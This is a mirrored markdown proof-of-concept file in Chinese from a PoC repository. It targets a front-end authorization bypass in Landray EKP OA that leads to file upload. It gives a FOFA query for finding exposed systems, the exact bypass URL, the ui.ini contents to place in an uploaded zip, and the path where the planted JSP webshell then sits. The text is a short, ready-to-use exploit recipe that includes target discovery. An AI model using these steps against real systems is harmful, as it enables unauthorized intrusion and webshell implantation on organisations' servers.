mirror of
https://github.com/adysec/POC.git
synced 2025-11-06 02:43:58 +00:00
31 lines
711 B
Markdown
31 lines
711 B
Markdown
|
|
||
|
|
## 蓝凌EKP前台授权绕过导致文件上传
|
||
|
|
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
```
|
||
|
|
app="Landray-OA系统"
|
||
|
|
```
|
||
|
|
|
||
|
|
访问路径/api///sys/ui/sys_ui_extend/sysUiExtend.do?method=upload其中路径需要api后面需要///不能变。
|
||
|
|
|
||
|
|
## poc
|
||
|
|
```
|
||
|
|
/api///sys/ui/sys_ui_extend/sysUiExtend.do?method=upload
|
||
|
|
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
## 文件上传
|
||
|
|
然后上传zip包需要有ui.ini文件内容如下
|
||
|
|
```
|
||
|
|
id=ZzzZname=testthumb=test
|
||
|
|
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
马会在/resource/ui-ext/ZzzZ/jmdyy.jsp
|